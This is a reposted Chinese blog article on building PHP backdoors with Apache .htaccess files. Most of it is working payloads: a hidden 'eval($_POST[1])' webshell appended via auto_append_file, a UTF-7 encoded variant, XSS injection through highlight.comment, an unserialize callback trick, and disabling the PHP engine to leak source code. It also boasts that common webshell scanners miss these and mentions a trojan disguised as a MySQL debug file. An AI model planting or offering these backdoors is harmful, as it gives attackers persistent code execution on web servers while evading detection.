利用.Htaccess文件構成的PHP后門


from:http://www.tiejiang.org/10048.html

0x00 .Htaccess簡介

.htaccess 是Apache HTTP Server的文件目錄系統級別的配置文件的默認的名字。它提供了在主配置文件中定義用戶自定義指令的支持。 這些配置指令需要在 .htaccess 上下文 和用戶需要的適當許可。

平時開發用的最多的就是URL重定向功能。

0x01 開啟.htaccess

Apache中修改配置文件httpd.conf

修改如下內容

Options FollowSymLinks

AllowOverride None

為:

Options FollowSymLinks

AllowOverride All

開啟rewrite模塊

LoadModule rewrite_module modules/mod_rewrite.so

后門篇

文件包含

.htaccess:

php_value auto_append_file D:/wamp/www/1.txt

*.php

XSS后門

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

*.php

PHP后門

.htaccess:

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);

*.php
.htaccess:

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+Ads

*.php
.htaccess:

php_value unserialize_callback_func "phpinfo"
index.php:
unserialize('O:1:"1":0:{}');

類似的回調函數都是可以的,過此處phpinfo要怎么調用才能運行任意代碼還沒研究出來。

任意文件下載

.htaccess:

php_flag engine 0

*.php

0x03 webshell查殺

目前使用了D盾webshell查殺、SeayFindShell等工具對這個都沒有查殺效果。不過也都是一些簡單的一句話木馬了,很容易被入庫干掉。自己寫了一個偽裝成mysql調試文件的PHP木馬,感覺好用多了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM